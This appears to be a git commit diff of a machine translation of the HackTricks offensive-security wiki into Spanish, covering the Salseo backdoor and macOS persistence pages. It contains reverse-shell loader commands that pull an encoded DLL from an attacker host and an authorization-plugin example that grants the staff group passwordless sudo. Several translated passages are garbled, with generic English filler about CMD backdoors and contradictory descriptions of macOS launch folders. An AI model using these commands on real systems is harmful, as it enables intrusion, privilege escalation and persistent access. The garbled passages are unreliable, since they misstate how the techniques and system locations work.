Translated ['README.md', 'backdoors/salseo.md', 'forensics/basic-forensi

This commit is contained in:
Translator 2023-11-03 11:57:42 +00:00
parent 2e48053d3f
commit f0979a9c86
58 changed files with 400 additions and 314 deletions

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.6 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.6 KiB

After

Width:  |  Height:  |  Size: 16 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 16 KiB

After

Width:  |  Height:  |  Size: 132 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 132 KiB

After

Width:  |  Height:  |  Size: 20 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 20 KiB

After

Width:  |  Height:  |  Size: 8.1 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 8.1 KiB

After

Width:  |  Height:  |  Size: 51 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 51 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 39 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 322 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 322 KiB

After

Width:  |  Height:  |  Size: 36 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 36 KiB

After

Width:  |  Height:  |  Size: 34 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 34 KiB

After

Width:  |  Height:  |  Size: 176 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 176 KiB

After

Width:  |  Height:  |  Size: 152 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 152 KiB

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 94 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 94 KiB

After

Width:  |  Height:  |  Size: 199 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 199 KiB

After

Width:  |  Height:  |  Size: 145 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 145 KiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 100 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 100 KiB

After

Width:  |  Height:  |  Size: 12 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 12 KiB

After

Width:  |  Height:  |  Size: 121 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 121 KiB

After

Width:  |  Height:  |  Size: 7.0 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 7.0 KiB

After

Width:  |  Height:  |  Size: 72 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 72 KiB

After

Width:  |  Height:  |  Size: 60 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 60 KiB

After

Width:  |  Height:  |  Size: 223 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 223 KiB

After

Width:  |  Height:  |  Size: 27 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 27 KiB

After

Width:  |  Height:  |  Size: 32 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 32 KiB

After

Width:  |  Height:  |  Size: 15 KiB

View File

@ -40,7 +40,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
### [Intigriti](https://www.intigriti.com)
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src=".gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Intigriti** es la plataforma de caza de bugs y hacking ético **número 1 de Europa**.
@ -109,11 +109,11 @@ Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks
<figure><img src=".gitbook/assets/image (1) (1) (2) (4) (1).png" alt=""><figcaption></figcaption></figure>
[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**. DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Además, organizan la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en un escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
[**DragonJAR es una empresa líder en ciberseguridad ofensiva**](https://www.dragonjar.org/) **ubicada en Colombia**. DragonJAR ofrece [servicios integrales de seguridad informática ofensiva, como **pentesting**](https://www.dragonjar.org/servicios-de-seguridad-informatica) en diversas áreas y prácticamente **cualquier tecnología**, simulaciones de ataque **Red Team**, pruebas de seguridad **física**, **pruebas de estrés**, ingeniería social, revisión de seguridad en **código fuente** y capacitación en seguridad informática. Además, organizan la **DragonJAR Security Conference**, [un congreso internacional de seguridad informática](https://www.dragonjarcon.org/) que se ha realizado durante más de una década, convirtiéndose en el escaparate para las últimas investigaciones de seguridad en español y de gran relevancia en la región.
## Licencia
**Copyright © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto de** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo la licencia** [**Atribución-NoComercial 4.0 Internacional (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Copyright © Carlos Polop 2023. Excepto donde se especifique lo contrario (la información externa copiada en el libro pertenece a los autores originales), el texto de** [**HACK TRICKS**](https://github.com/carlospolop/hacktricks) **de Carlos Polop está bajo licencia** [**Attribution-NonCommercial 4.0 International (CC BY-NC 4.0)**](https://creativecommons.org/licenses/by-nc/4.0/)**.**\
**Si deseas utilizarlo con fines comerciales, contáctame.**
## **Descargo de responsabilidad**
@ -123,11 +123,11 @@ Este libro, 'HackTricks', tiene fines educativos e informativos únicamente. El
Los autores y editores no serán responsables en ningún caso de ninguna pérdida o daño, incluyendo, entre otros, pérdida o daño indirecto o consecuente, o cualquier pérdida o daño que surja de la pérdida de datos o beneficios derivados del uso de este libro.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o éticamente cuestionable, y cualquier uso de la información contenida en este libro es bajo tu propio riesgo y discreción.
Además, las técnicas y consejos descritos en este libro se proporcionan únicamente con fines educativos e informativos, y no deben utilizarse para actividades ilegales o maliciosas. Los autores y editores no aprueban ni respaldan ninguna actividad ilegal o éticamente incorrecta, y cualquier uso de la información contenida en este libro es bajo tu propio riesgo y discreción.
El usuario es el único responsable de cualquier acción tomada basada en la información contenida en este libro, y siempre debe buscar asesoramiento y asistencia profesional al intentar implementar cualquiera de las técnicas o consejos descritos en él.
Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad por cualquier daño, pérdida o perjuicio que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
Al utilizar este libro, el usuario acepta liberar a los autores y editores de cualquier responsabilidad y responsabilidad por cualquier daño, pérdida o daño que pueda resultar del uso de este libro o de cualquiera de la información contenida en él.
{% endhint %}
<details>

View File

@ -69,20 +69,20 @@ Once installed, the Salseo backdoor provides the attacker with a range of capabi
Detecting and preventing the Salseo backdoor can be challenging due to its stealthy nature. However, there are some measures that can be taken to mitigate the risk:
1. **Antivirus software**: Keeping antivirus software up to date can help detect and remove known instances of the Salseo backdoor.
1. **Antivirus software**: Keeping antivirus software up to date can help detect and remove known instances of the Salseo backdoor. Regular scans should be performed to identify any potential infections.
2. **Regular system updates**: Installing software updates and patches can help prevent the exploitation of vulnerabilities that the backdoor may rely on.
2. **Software updates**: Keeping software and operating systems up to date with the latest security patches can help prevent the exploitation of vulnerabilities that the backdoor may use for installation.
3. **User awareness**: Educating users about the risks of opening suspicious email attachments or downloading files from untrusted sources can help prevent the initial installation of the backdoor.
4. **Network monitoring**: Monitoring network traffic for suspicious activity can help detect the presence of the backdoor or its communication with the attacker's command and control server.
4. **Network monitoring**: Monitoring network traffic for suspicious activity can help identify communication between the infected system and the attacker's command and control server.
By implementing these measures, organizations can reduce the risk of falling victim to the Salseo backdoor and other similar malware.
By implementing these measures, the risk of falling victim to the Salseo backdoor can be significantly reduced.
```
EncrypterAssembly.exe <FILE> <PASSWORD> <OUTPUT_FILE>
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader**.
Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: el **EvilDalsa.dll codificado** y el **binario de SalseoLoader.**
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
@ -96,7 +96,7 @@ SalseoLoader.exe password http://<Attacker-IP>/evilsalsa.dll.txt reversetcp <Att
```
### **Obteniendo una shell inversa UDP (descargando un dll codificado a través de SMB)**
Recuerda iniciar un nc como oyente de la shell inversa y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
Recuerda iniciar un nc como el oyente de la shell inversa, y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\<Attacker-IP>/folder/evilsalsa.dll.txt reverseudp <Attacker-IP> <Port>
```
@ -133,7 +133,7 @@ Abre el proyecto SalseoLoader usando Visual Studio.
### Agrega antes de la función principal: \[DllExport]
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
![](<../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>)
### Instala DllExport para este proyecto
@ -147,7 +147,7 @@ Abre el proyecto SalseoLoader usando Visual Studio.
En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
### **Desinstala DllExport**
### **D**esinstala DllExport
Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
@ -210,15 +210,17 @@ CMD (Command Prompt) is a command-line interpreter in Windows operating systems.
CMD is a powerful tool for hackers as it allows them to execute commands and scripts on a target system. By gaining access to CMD, hackers can perform a wide range of activities, including reconnaissance, privilege escalation, and data exfiltration.
To exploit CMD, hackers often use backdoors to maintain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can bypass security measures and gain remote access at any time.
To exploit CMD, hackers often use backdoors to gain persistent access to a compromised system. A backdoor is a hidden entry point that allows unauthorized access to a system. By installing a backdoor on a target system, hackers can maintain access even if the system is patched or the user's password is changed.
There are several methods to create a backdoor in CMD. One common technique is to modify system files or registry entries to enable remote access. Another method is to use a Trojan horse program that disguises itself as a legitimate file or application.
There are several ways to create a backdoor in CMD. One common method is to use the "netsh" command to create a persistent backdoor. The "netsh" command is a powerful tool that allows users to configure network settings. By using the "netsh" command, hackers can create a backdoor that listens for incoming connections and provides them with remote access to the compromised system.
Once a backdoor is installed, hackers can use CMD to execute commands and control the compromised system. They can upload and download files, manipulate system settings, and even launch attacks on other systems.
Another method to create a backdoor in CMD is by using the "reg" command to modify the Windows Registry. The Windows Registry is a hierarchical database that stores configuration settings and options for the operating system. By modifying the Registry, hackers can create a backdoor that is executed every time the system starts up, providing them with persistent access to the compromised system.
To protect against CMD-based attacks, it is important to regularly update and patch your operating system. Additionally, implementing strong access controls and monitoring network traffic can help detect and prevent unauthorized access.
Once a backdoor is installed in CMD, hackers can use it to execute commands and scripts remotely. They can also use it to upload and download files, manipulate system settings, and perform other malicious activities.
Remember, CMD can be a powerful tool in the hands of both hackers and system administrators. Understanding its capabilities and vulnerabilities is essential for maintaining the security of your systems.
To protect against CMD backdoors, it is important to regularly update and patch the operating system. It is also recommended to use strong passwords and enable multi-factor authentication to prevent unauthorized access to CMD. Additionally, monitoring network traffic and using intrusion detection systems can help detect and mitigate CMD backdoor attacks.
CMD is a powerful tool that can be used for both legitimate and malicious purposes. By understanding how hackers exploit CMD and implementing appropriate security measures, individuals and organizations can better protect themselves against CMD backdoor attacks.
```
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt

View File

@ -12,9 +12,9 @@
</details>
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere dominio del polaco escrito y hablado_).
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando**! (_se requiere fluidez en polaco escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -211,7 +211,7 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere fluidez en polaco escrito y hablado_).

View File

@ -43,7 +43,7 @@ Aquí puedes encontrar ubicaciones de inicio útiles para **bypass de sandbox**
* **`~/Library/LaunchDemons`**
* **Disparador**: Volver a iniciar sesión
#### Descripción y Explotación
#### Descripción y explotación
**`launchd`** es el **primer** **proceso** ejecutado por el kernel de OX S al iniciar y el último en finalizar al apagar. Siempre debe tener el **PID 1**. Este proceso **lee y ejecuta** las configuraciones indicadas en los **plists** de **ASEP** en:
@ -119,11 +119,11 @@ Descripción (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https:
* `/etc/profile` (no funcionó)
* `~/.profile` (no funcionó)
* `~/.xinitrc`, `~/.xserverrc`, `/opt/X11/etc/X11/xinit/xinitrc.d/`
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** y incluso después de instalarlo se produce este error: xterm: `DISPLAY no está configurado`
* **Disparador**: Se espera que se active con xterm, pero **no está instalado** y incluso después de instalarlo se produce este error: xterm: `DISPLAY is not set`
#### Descripción y explotación
Los archivos de inicio de shell se ejecutan cuando nuestro entorno de shell como `zsh` o `bash` se está **iniciando**. En macOS, el valor predeterminado es `/bin/zsh`, y **cada vez que abrimos `Terminal` o nos conectamos por SSH** al dispositivo, este es el entorno de shell en el que nos encontramos. `bash` y `sh` todavía están disponibles, pero deben iniciarse específicamente.
Los archivos de inicio de shell se ejecutan cuando nuestro entorno de shell como `zsh` o `bash` se está **iniciando**. En macOS, el valor predeterminado es `/bin/zsh`, y cada vez que abrimos `Terminal` o nos conectamos por SSH al dispositivo, este es el entorno de shell en el que nos encontramos. `bash` y `sh` todavía están disponibles, pero deben iniciarse específicamente.
La página de manual de zsh, que podemos leer con **`man zsh`**, tiene una descripción larga de los archivos de inicio.
```bash
@ -296,8 +296,8 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevi
* `/System/Library/QuickLook`
* `/Library/QuickLook`
* `~/Library/QuickLook`
* `/Applications/AppNameHere/Contents/Library/QuickLook/`
* `~/Applications/AppNameHere/Contents/Library/QuickLook/`
* `/Applications/NombreDeLaAplicaciónAqui/Contents/Library/QuickLook/`
* `~/Applications/NombreDeLaAplicaciónAqui/Contents/Library/QuickLook/`
#### Descripción y explotación
@ -423,25 +423,31 @@ A continuación se muestra una lista de las ubicaciones comunes de inicio autom
## Carpeta de inicio
La carpeta de inicio personal del usuario es una ubicación común para agregar elementos de inicio automático. Puede acceder a esta carpeta navegando a `~/Library/LaunchAgents`. Aquí, puede encontrar archivos de tipo `.plist` que contienen información sobre las aplicaciones y scripts que se iniciarán automáticamente.
## Carpeta de inicio global
La carpeta de inicio global es una ubicación donde se pueden agregar elementos de inicio automático para todos los usuarios del sistema. Puede acceder a esta carpeta navegando a `/Library/LaunchAgents`. Al igual que en la carpeta de inicio personal, aquí encontrará archivos `.plist` que especifican las aplicaciones y scripts que se iniciarán automáticamente.
La carpeta de inicio personal del usuario es una ubicación común para agregar elementos de inicio automático. Los archivos y carpetas ubicados en `~/Library/LaunchAgents` y `~/Library/LaunchDaemons` se ejecutarán automáticamente al iniciar sesión en el sistema.
## Carpetas de inicio del sistema
Además de las carpetas de inicio personal y global, también hay carpetas de inicio del sistema que contienen elementos de inicio automático. Estas carpetas se encuentran en `/Library/LaunchDaemons` y `/System/Library/LaunchDaemons`. Los archivos `.plist` en estas carpetas especifican los servicios y demonios del sistema que se iniciarán automáticamente.
Además de la carpeta de inicio personal, macOS también tiene carpetas de inicio del sistema donde se pueden agregar elementos de inicio automático para todos los usuarios del sistema. Estas carpetas se encuentran en `/Library/LaunchAgents` y `/Library/LaunchDaemons`.
## Preferencias del sistema
Las Preferencias del sistema también ofrecen una forma de configurar elementos de inicio automático. Puede acceder a esta configuración yendo a `Preferencias del sistema -> Usuarios y grupos -> Elementos de inicio`. Aquí, puede agregar o eliminar elementos de inicio automático utilizando la interfaz gráfica de usuario.
Las Preferencias del sistema también ofrecen una forma de configurar aplicaciones para que se inicien automáticamente. En la pestaña "Usuarios y grupos", en la sección "Elementos de inicio", se pueden agregar aplicaciones y scripts para que se ejecuten al iniciar sesión en el sistema.
## Programación de tareas
## Cron
Además de las ubicaciones anteriores, también puede utilizar la programación de tareas para configurar elementos de inicio automático en macOS. Puede utilizar la utilidad `cron` o `launchd` para programar la ejecución de scripts o comandos en momentos específicos.
El cron es una utilidad de línea de comandos que permite a los usuarios programar tareas para que se ejecuten automáticamente en momentos específicos. Los comandos cron se pueden configurar utilizando el comando `crontab -e` y se ejecutarán según la programación especificada.
Es importante tener en cuenta que, si bien estas ubicaciones son útiles para configurar el inicio automático de aplicaciones y scripts, también pueden ser utilizadas por malware o software malicioso para iniciar procesos no deseados. Por lo tanto, es importante revisar regularmente estas ubicaciones y eliminar cualquier elemento no deseado o desconocido.
## Agentes de lanzamiento
Los agentes de lanzamiento son archivos de propiedad de la aplicación que se utilizan para configurar la ejecución automática de aplicaciones en macOS. Estos archivos se encuentran en `/Library/LaunchAgents` y `/System/Library/LaunchAgents`. Los agentes de lanzamiento pueden ser utilizados por aplicaciones de terceros para iniciar automáticamente sus servicios al arrancar el sistema.
## Daemons de lanzamiento
Los daemons de lanzamiento son similares a los agentes de lanzamiento, pero se ejecutan en segundo plano y no están asociados a un usuario específico. Estos archivos se encuentran en `/Library/LaunchDaemons` y `/System/Library/LaunchDaemons`. Los daemons de lanzamiento se utilizan para iniciar y administrar servicios del sistema.
## Conclusión
Conocer las ubicaciones de inicio automático en macOS es importante para comprender qué aplicaciones y scripts se ejecutan automáticamente al iniciar sesión en el sistema. Esto puede ser útil para optimizar el rendimiento del sistema y garantizar la seguridad al evitar la ejecución no autorizada de programas.
```bash
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
#!/usr/bin/env python3
@ -466,7 +472,7 @@ Las preferencias de iTerm2 se encuentran en **`~/Library/Preferences/com.googlec
Esta configuración se puede ajustar en la configuración de iTerm2:
<figure><img src="../.gitbook/assets/image (2) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
Y el comando se refleja en las preferencias:
```bash
@ -622,7 +628,7 @@ Esto creará un archivo en 1 hora:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
Verifique la cola de trabajos usando `atq:`
Comprueba la cola de trabajos utilizando `atq:`
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
@ -682,8 +688,8 @@ Si imprimimos el archivo de trabajo, encontramos que contiene la misma informaci
### Acciones de carpeta
Artículo: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Artículo: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
Descripción: [https://theevilbit.github.io/beyond/beyond\_0024/](https://theevilbit.github.io/beyond/beyond\_0024/)\
Descripción: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d](https://posts.specterops.io/folder-actions-for-persistence-on-macos-8923f222343d)
* Útil para evadir el sandbox: [](https://emojipedia.org/check-mark-button)
* Pero necesitas poder llamar a osascript con argumentos y poder configurar las Acciones de carpeta
@ -765,7 +771,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
```
Luego, abre la aplicación `Folder Actions Setup`, selecciona la **carpeta que deseas vigilar** y selecciona en tu caso **`folder.scpt`** (en mi caso lo llamé output2.scp):
<figure><img src="../.gitbook/assets/image (2) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
Ahora, si abres esa carpeta con **Finder**, tu script se ejecutará.
@ -959,11 +965,11 @@ Descripción: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](http
* `~/Library/Screen Savers`
* **Disparador**: Seleccionar el protector de pantalla
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
#### Descripción y Exploit
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **protector de pantalla**. Luego, agrega tu código a él, por ejemplo, el siguiente código para generar registros.
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **protector de pantalla**. Luego, agrega tu código, por ejemplo, el siguiente código para generar registros.
**Compílalo** y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la interfaz gráfica del protector de pantalla y si haces clic en él, debería generar muchos registros:
@ -1223,7 +1229,7 @@ monthly_local="/etc/monthly.local" # Local scripts
Si logras escribir alguno de los archivos `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`, se ejecutará **tarde o temprano**.
{% hint style="warning" %}
Ten en cuenta que el script periódico se ejecutará **como el propietario del script**. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios).
Ten en cuenta que el script periódico se ejecutará como el propietario del script. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios).
{% endhint %}
### PAM
@ -1240,7 +1246,7 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi
#### Descripción y explotación
Dado que PAM se centra más en la **persistencia** y en el malware que en la ejecución fácil dentro de macOS, este blog no proporcionará una explicación detallada, **lee las descripciones para entender mejor esta técnica**.
Dado que PAM se centra más en la **persistencia** y en el malware que en la ejecución fácil dentro de macOS, este blog no proporcionará una explicación detallada. **Lee las descripciones para entender mejor esta técnica**.
Verifica los módulos de PAM con:&#x20;
```bash
@ -1264,13 +1270,13 @@ session required pam_permit.so
Y, por lo tanto, cualquier intento de usar **`sudo` funcionará**.
{% hint style="danger" %}
Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud de acceso.
Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud de acceso.
{% endhint %}
### Plugins de autorización
Descripción: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Descripción: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
Artículo: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Artículo: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Útil para evadir el sandbox: [🟠](https://emojipedia.org/large-orange-circle)
* Pero necesitas ser root y hacer configuraciones adicionales
@ -1283,7 +1289,49 @@ Descripción: [https://posts.specterops.io/persistent-credential-theft-with-auth
#### Descripción y explotación
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para obtener más información sobre cómo crear uno de estos plugins, consulta las descripciones anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu Mac desde el modo de recuperación).
Puedes crear un plugin de autorización que se ejecutará cuando un usuario inicie sesión para mantener la persistencia. Para obtener más información sobre cómo crear uno de estos plugins, consulta los artículos anteriores (y ten cuidado, uno mal escrito puede bloquearte y necesitarás limpiar tu Mac desde el modo de recuperación).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
// mkdir -p CustomAuth.bundle/Contents/MacOS
// mv CustomAuth CustomAuth.bundle/Contents/MacOS/
#import <Foundation/Foundation.h>
__attribute__((constructor)) static void run()
{
NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded");
system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers");
}
```
**Mueva** el paquete a la ubicación donde se cargará:
```bash
cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/
```
Finalmente, añade la **regla** para cargar este Plugin:
```bash
cat > /tmp/rule.plist <<EOF
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>class</key>
<string>evaluate-mechanisms</string>
<key>mechanisms</key>
<array>
<string>CustomAuth:login,privileged</string>
</array>
</dict>
</plist>
EOF
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
Actívalo con:
```bash
security authorize com.asdf.asdf
```
Y luego el grupo **staff debe tener acceso sudo** (leer `/etc/sudoers` para confirmar).
### Man.conf
@ -1298,9 +1346,9 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevi
* Se requiere ser root
* **`/private/etc/man.conf`**: Cada vez que se usa man
#### Descripción y explotación
#### Descripción y Exploit
El archivo de configuración **`/private/etc/man.conf`** indica el binario/script que se utilizará al abrir archivos de documentación de man. Por lo tanto, se puede modificar la ruta del ejecutable para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.
El archivo de configuración **`/private/etc/man.conf`** indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, se puede modificar la ruta del ejecutable para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.
Por ejemplo, establecer en **`/private/etc/man.conf`**:
```

View File

@ -53,7 +53,7 @@ Además, después de encontrar las credenciales adecuadas, podrías ser capaz de
#### Autenticación de dispositivos de JAMF
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
El binario **`jamf`** contenía el secreto para abrir el llavero que en el momento del descubrimiento era **compartido** entre todos y era: **`jk23ucnq91jfu9aj`**.\
Además, jamf **persiste** como un **LaunchDaemon** en **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
@ -118,7 +118,7 @@ Y también sobre los **protocolos de red** **"especiales"** de **MacOS**:
## Active Directory
En algunas ocasiones te encontrarás con que la **computadora MacOS está conectada a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
En algunas ocasiones te encontrarás con que el **ordenador MacOS está conectado a un AD**. En este escenario, debes intentar **enumerar** el directorio activo como estás acostumbrado. Encuentra **ayuda** en las siguientes páginas:
{% content-ref url="../../network-services-pentesting/pentesting-ldap.md" %}
[pentesting-ldap.md](../../network-services-pentesting/pentesting-ldap.md)
@ -139,8 +139,8 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
También hay algunas herramientas preparadas para MacOS para enumerar automáticamente el AD y jugar con Kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): MacHound es una extensión de la herramienta de auditoría Bloodhound que permite recopilar e ingestar relaciones de Active Directory en hosts de MacOS.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir una mejor prueba de seguridad en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumerar Active Directory.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost es un proyecto Objective-C diseñado para interactuar con las API de Heimdal krb5 en macOS. El objetivo del proyecto es permitir pruebas de seguridad más efectivas en torno a Kerberos en dispositivos macOS utilizando API nativas sin requerir ningún otro marco o paquete en el objetivo.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Herramienta de JavaScript para Automatización (JXA) para enumeración de Active Directory.
### Información del dominio
```bash
